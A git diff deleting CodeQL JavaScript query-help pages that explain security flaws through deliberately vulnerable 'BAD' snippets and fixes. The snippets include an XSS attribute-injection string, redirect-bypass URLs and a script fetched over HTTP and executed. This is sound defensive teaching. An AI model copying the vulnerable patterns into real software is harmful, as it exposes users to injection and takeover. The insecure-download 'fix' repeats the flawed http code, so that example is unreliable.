Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteHostnameRegExp.md b/docs/language/query-help/javascript/IncompleteHostnameRegExp.md deleted file mode 100644 index 0972173a4d5..00000000000 --- a/docs/language/query-help/javascript/IncompleteHostnameRegExp.md +++ /dev/null @@ -1,47 +0,0 @@ -# Incomplete regular expression for hostnames - -``` -ID: js/incomplete-hostname-regexp -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteHostnameRegExp.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. - -If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds. - - -## Recommendation -Escape all meta-characters appropriately when constructing regular expressions for security checks, pay special attention to the `.` meta-character. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. - - -```javascript -app.get('/some/path', function(req, res) { - let url = req.param('url'), - host = urlLib.parse(url).host; - // BAD: the host of `url` may be controlled by an attacker - let regex = /^((www|beta).)?example.com/; - if (host.match(regex)) { - res.redirect(url); - } -}); - -``` -The check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. - -Address this vulnerability by escaping `.` appropriately: `let regex = /((www|beta)\.)?example\.com/`. - - -## References -* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md b/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md deleted file mode 100644 index 8f37ddb3c89..00000000000 --- a/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md +++ /dev/null @@ -1,61 +0,0 @@ -# Incomplete HTML attribute sanitization - -``` -ID: js/incomplete-html-attribute-sanitization -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteHtmlAttributeSanitization.ql) - -Sanitizing untrusted input for HTML meta-characters is an important technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized. - -As a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML. - - -## Recommendation -Sanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used. - - -## Example -The following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `" onclick="alert(42)` to inject JavaScript code into the response. - - -```javascript -var app = require('express')(); - -app.get('/user/:id', function(req, res) { - let id = req.params.id; - id = id.replace(/<|>/g, ""); // BAD - let userHtml = `
${getUserName(id) || "Unknown name"}
`; - // ... - res.send(prefix + userHtml + suffix); -}); - -``` -Sanitizing the user-controlled data for `"` helps prevent the vulnerability: - - -```javascript -var app = require('express')(); - -app.get('/user/:id', function(req, res) { - let id = req.params.id; - id = id.replace(/<|>|&|"/g, ""); // GOOD - let userHtml = `
${getUserName(id) || "Unknown name"}
`; - // ... - res.send(prefix + userHtml + suffix); -}); - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md b/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md deleted file mode 100644 index af83b6b7823..00000000000 --- a/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md +++ /dev/null @@ -1,62 +0,0 @@ -# Incomplete multi-character sanitization - -``` -ID: js/incomplete-multi-character-sanitization -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql) - -Sanitizing untrusted input is an important technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters. - -However, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself. - -In the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective. - -Even if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output. - - -## Recommendation -Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. - -Otherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable. - -Note, however, that this is generally *not* sufficient for replacing multi-character strings: the `String.prototype.replace` method only performs one pass over the input string, and will not replace further instances of the string that result from earlier replacements. - -For example, consider the code snippet `s.replace(/\/\.\.\//g, "")`, which attempts to strip out all occurences of `/../` from `s`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove. - - -## Example -For example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them: - - -```javascript -function escapeQuotes(s) { - return s.replace("'", "''"); -} - -``` -As written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced. - -As mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources. - -If this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` ("global") flag instead: - - -```javascript -function escapeQuotes(s) { - return s.replace(/'/g, "''"); -} - -``` -Note that it is very important to include the global flag: `s.replace(/'/, "''")` *without* the global flag is equivalent to the first example above and only replaces the first quote. - - -## References -* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). -* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package. -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteSanitization.md b/docs/language/query-help/javascript/IncompleteSanitization.md deleted file mode 100644 index 3baf4fe0c6d..00000000000 --- a/docs/language/query-help/javascript/IncompleteSanitization.md +++ /dev/null @@ -1,62 +0,0 @@ -# Incomplete string escaping or encoding - -``` -ID: js/incomplete-sanitization -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteSanitization.ql) - -Sanitizing untrusted input is an important technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters. - -However, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself. - -In the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective. - -Even if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output. - - -## Recommendation -Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. - -Otherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable. - -Note, however, that this is generally *not* sufficient for replacing multi-character strings: the `String.prototype.replace` method only performs one pass over the input string, and will not replace further instances of the string that result from earlier replacements. - -For example, consider the code snippet `s.replace(/\/\.\.\//g, "")`, which attempts to strip out all occurences of `/../` from `s`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove. - - -## Example -For example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them: - - -```javascript -function escapeQuotes(s) { - return s.replace("'", "''"); -} - -``` -As written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced. - -As mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources. - -If this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` ("global") flag instead: - - -```javascript -function escapeQuotes(s) { - return s.replace(/'/g, "''"); -} - -``` -Note that it is very important to include the global flag: `s.replace(/'/, "''")` *without* the global flag is equivalent to the first example above and only replaces the first quote. - - -## References -* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). -* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package. -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md b/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md deleted file mode 100644 index fffc180bccf..00000000000 --- a/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md +++ /dev/null @@ -1,50 +0,0 @@ -# Incomplete URL scheme check - -``` -ID: js/incomplete-url-scheme-check -Kind: problem -Severity: warning -Precision: high -Tags: security correctness external/cwe/cwe-020 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteUrlSchemeCheck.ql) - -URLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme. - -However, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient. - - -## Recommendation -Add checks covering both `data:` and `vbscript:`. - - -## Example -The following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned. - - -```javascript -function sanitizeUrl(url) { - let u = decodeURI(url).trim().toLowerCase(); - if (u.startsWith("javascript:")) - return "about:blank"; - return url; -} - -``` -While this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well: - - -```javascript -function sanitizeUrl(url) { - let u = decodeURI(url).trim().toLowerCase(); - if (u.startsWith("javascript:") || u.startsWith("data:") || u.startsWith("vbscript:")) - return "about:blank"; - return url; -} - -``` - -## References -* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md b/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md deleted file mode 100644 index 84a19be6603..00000000000 --- a/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md +++ /dev/null @@ -1,75 +0,0 @@ -# Incomplete URL substring sanitization - -``` -ID: js/incomplete-url-substring-sanitization -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteUrlSubstringSanitization.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts. - -However, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location. - -Even if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally. - - -## Recommendation -Parse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. - - -```javascript -app.get('/some/path', function(req, res) { - let url = req.param("url"); - // BAD: the host of `url` may be controlled by an attacker - if (url.includes("example.com")) { - res.redirect(url); - } -}); - -``` -The substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead: - - -```javascript -app.get('/some/path', function(req, res) { - let url = req.param("url"), - host = urlLib.parse(url).host; - // BAD: the host of `url` may be controlled by an attacker - if (host.includes("example.com")) { - res.redirect(url); - } -}); - -``` -This is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure: - - -```javascript -app.get('/some/path', function(req, res) { - let url = req.param('url'), - host = urlLib.parse(url).host; - // GOOD: the host of `url` can not be controlled by an attacker - let allowedHosts = [ - 'example.com', - 'beta.example.com', - 'www.example.com' - ]; - if (allowedHosts.includes(host)) { - res.redirect(url); - } -}); - -``` - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncorrectSuffixCheck.md b/docs/language/query-help/javascript/IncorrectSuffixCheck.md deleted file mode 100644 index 862e555e760..00000000000 --- a/docs/language/query-help/javascript/IncorrectSuffixCheck.md +++ /dev/null @@ -1,48 +0,0 @@ -# Incorrect suffix check - -``` -ID: js/incorrect-suffix-check -Kind: problem -Severity: error -Precision: high -Tags: security correctness external/cwe/cwe-020 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncorrectSuffixCheck.ql) - -The `indexOf` and `lastIndexOf` methods are sometimes used to check if a substring occurs at a certain position in a string. However, if the returned index is compared to an expression that might evaluate to -1, the check may pass in some cases where the substring was not found at all. - -Specifically, this can easily happen when implementing `endsWith` using `indexOf`. - - -## Recommendation -Use `String.prototype.endsWith` if it is available. Otherwise, explicitly handle the -1 case, either by checking the relative lengths of the strings, or by checking if the returned index is -1. - - -## Example -The following example uses `lastIndexOf` to determine if the string `x` ends with the string `y`: - - -```javascript -function endsWith(x, y) { - return x.lastIndexOf(y) === x.length - y.length; -} - -``` -However, if `y` is one character longer than `x`, the right-hand side `x.length - y.length` becomes -1, which then equals the return value of `lastIndexOf`. This will make the test pass, even though `x` does not end with `y`. - -To avoid this, explicitly check for the -1 case: - - -```javascript -function endsWith(x, y) { - let index = x.lastIndexOf(y); - return index !== -1 && index === x.length - y.length; -} - -``` - -## References -* MDN: [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith) -* MDN: [String.prototype.indexOf](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf) -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IndirectCommandInjection.md b/docs/language/query-help/javascript/IndirectCommandInjection.md deleted file mode 100644 index 7ecfca43a06..00000000000 --- a/docs/language/query-help/javascript/IndirectCommandInjection.md +++ /dev/null @@ -1,55 +0,0 @@ -# Indirect uncontrolled command line - -``` -ID: js/indirect-command-line-injection -Kind: path-problem -Severity: warning -Precision: medium -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/IndirectCommandInjection.ql) - -Forwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters. - -When the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of forwarding the command-line arguments to the process, examine the command-line arguments and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that each forwarded command-line argument is properly escaped before using it. - -If the forwarded command-line arguments are part of the arguments of the system command, prefer a library routine that handles the arguments as an array of strings rather than a single concatenated string. This prevents the unexpected evaluation of special characters. - - -## Example -The following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `"dollar$separated$name"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`. - - -```javascript -var cp = require("child_process"); - -const args = process.argv.slice(2); -const script = path.join(__dirname, 'bin', 'main.js'); -cp.execSync(`node ${script} ${args.join(' ')}"`); // BAD - -``` -If another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script. - -To guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`: - - -```javascript -var cp = require("child_process"); - -const args = process.argv.slice(2); -const script = path.join(__dirname, 'bin', 'main.js'); -cp.execFileSync('node', [script].concat(args)); // GOOD - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureDownload.md b/docs/language/query-help/javascript/InsecureDownload.md deleted file mode 100644 index b4a09c5c232..00000000000 --- a/docs/language/query-help/javascript/InsecureDownload.md +++ /dev/null @@ -1,48 +0,0 @@ -# Download of sensitive file through insecure connection - -``` -ID: js/insecure-download -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-829 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-829/InsecureDownload.ql) - -Downloading executeables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system. - - -## Recommendation -Use a secure transfer protocol when downloading executables or other sensitive files. - - -## Example -In this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script. - - -```javascript -const fetch = require("node-fetch"); -const cp = require("child_process"); - -fetch('http://mydownload.example.org/myscript.sh') - .then(res => res.text()) - .then(script => cp.execSync(script)); -``` -The HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system. - -The issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol. - - -```javascript -const fetch = require("node-fetch"); -const cp = require("child_process"); - -fetch('http://mydownload.example.org/myscript.sh') - .then(res => res.text()) - .then(script => cp.execSync(script)); -``` - -## References -* OWASP: [Man-in-the-middle attack](https://owasp.org/www-community/attacks/Man-in-the-middle_attack). -* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureRandomness.md b/docs/language/query-help/javascript/InsecureRandomness.md deleted file mode 100644 index 81c79a5cfb9..00000000000 --- a/docs/language/query-help/javascript/InsecureRandomness.md +++ /dev/null @@ -1,58 +0,0 @@ -# Insecure randomness - -``` -ID: js/insecure-randomness -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-338 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-338/InsecureRandomness.ql) - -Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value. - -Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations. - - -## Recommendation -Use a cryptographically secure pseudo-random number generator if the output is to be used in a security-sensitive context. As a rule of thumb, a value should be considered "security-sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user. - -For JavaScript on the NodeJS platform, `crypto.getRandomBytes` provides a cryptographically secure pseudo-random byte generator. Note that the conversion from bytes to numbers can introduce bias that breaks the security. - -For JavaScript in the browser, `RandomSource.getRandomValues` provides a cryptographically secure pseudo-random number generator. - - -## Example -The following examples show different ways of generating a password. - -In the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Math.random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password. - - -```javascript -function insecurePassword() { - // BAD: the random suffix is not cryptographically secure - var suffix = Math.random(); - var password = "myPassword" + suffix; - return password; -} - -``` -In the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers. - - -```javascript -function securePassword() { - // GOOD: the random suffix is cryptographically secure - var suffix = window.crypto.getRandomValues(new Uint32Array(1))[0]; - var password = "myPassword" + suffix; - return password; -} - -``` - -## References -* Wikipedia: [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator). -* Mozilla Developer Network: [RandomSource.getRandomValues](https://developer.mozilla.org/en-US/docs/Web/API/RandomSource/getRandomValues). -* NodeJS: [crypto.randomBytes](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback) -* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsecureUrlWhitelist.md b/docs/language/query-help/javascript/InsecureUrlWhitelist.md deleted file mode 100644 index c6b8ffedd3e..00000000000 --- a/docs/language/query-help/javascript/InsecureUrlWhitelist.md +++ /dev/null @@ -1,49 +0,0 @@ -# Insecure URL whitelist - -``` -ID: js/angular/insecure-url-whitelist -Kind: problem -Severity: warning -Precision: very-high -Tags: security frameworks/angularjs external/cwe/cwe-183 external/cwe/cwe-625 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/AngularJS/InsecureUrlWhitelist.ql) - -AngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow. - -A URL pattern that is too permissive can cause security vulnerabilities. - - -## Recommendation -Make the whitelist URL patterns as restrictive as possible. - - -## Example -The following example shows an AngularJS application with whitelist URL patterns that all are too permissive. - - -```javascript -angular.module('myApp', []) - .config(function($sceDelegateProvider) { - $sceDelegateProvider.resourceUrlWhitelist([ - "*://example.org/*", // BAD - "https://**.example.com/*", // BAD - "https://example.**", // BAD - "https://example.*" // BAD - ]); - }); - -``` -This is problematic, since the four patterns match the following malicious URLs, respectively: - -* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak) -* `https://evil.com/?ignore=://example.com/a` -* `https://example.evil.com` -* `https://example.evilTld` - -## References -* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf) -* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem). -* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html). -* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/InsufficientPasswordHash.md b/docs/language/query-help/javascript/InsufficientPasswordHash.md deleted file mode 100644 index b59c08c0b5f..00000000000 --- a/docs/language/query-help/javascript/InsufficientPasswordHash.md +++ /dev/null @@ -1,49 +0,0 @@ -# Use of password hash with insufficient computational effort - -``` -ID: js/insufficient-password-hash -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-916 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-916/InsufficientPasswordHash.ql) - -Storing cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords. - -A good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing. - - -## Recommendation -Use a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`. - - -## Example -In the example below, the `md5` algorithm computes the hash of a password. - - -```javascript -const crypto = require("crypto"); -function hashPassword(password) { - var hasher = crypto.createHash('md5'); - var hashed = hasher.update(password).digest("hex"); // BAD - return hashed; -} - -``` -This is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm: - - -```javascript -const bcrypt = require("bcrypt"); -function hashPassword(password, salt) { - var hashed = bcrypt.hashSync(password, salt); // GOOD - return hashed; -} - -``` - -## References -* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/LoopBoundInjection.md b/docs/language/query-help/javascript/LoopBoundInjection.md deleted file mode 100644 index 1219ee965da..00000000000 --- a/docs/language/query-help/javascript/LoopBoundInjection.md +++ /dev/null @@ -1,64 +0,0 @@ -# Loop bound injection - -``` -ID: js/loop-bound-injection -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-834 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-834/LoopBoundInjection.ql) - -Using the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10100 iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack. - - -## Recommendation -Either check that the object is indeed an array or limit the size of the `.length` property. - - -## Example -In the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array. - - -```javascript -var express = require('express'); -var app = express(); - -app.post("/foo", (req, res) => { - var obj = req.body; - - var ret = []; - - // Potential DoS if obj.length is large. - for (var i = 0; i < obj.length; i++) { - ret.push(obj[i]); - } -}); - -``` -This is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array. - - -```javascript -var express = require('express'); -var app = express(); - -app.post("/foo", (req, res) => { - var obj = req.body; - - if (!(obj instanceof Array)) { // Prevents DoS. - return []; - } - - var ret = []; - - for (var i = 0; i < obj.length; i++) { - ret.push(obj[i]); - } -}); - -``` - -## References -* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingCsrfMiddleware.md b/docs/language/query-help/javascript/MissingCsrfMiddleware.md deleted file mode 100644 index 9558e2efc3a..00000000000 --- a/docs/language/query-help/javascript/MissingCsrfMiddleware.md +++ /dev/null @@ -1,63 +0,0 @@ -# Missing CSRF middleware - -``` -ID: js/missing-token-validation -Kind: problem -Severity: error -Precision: 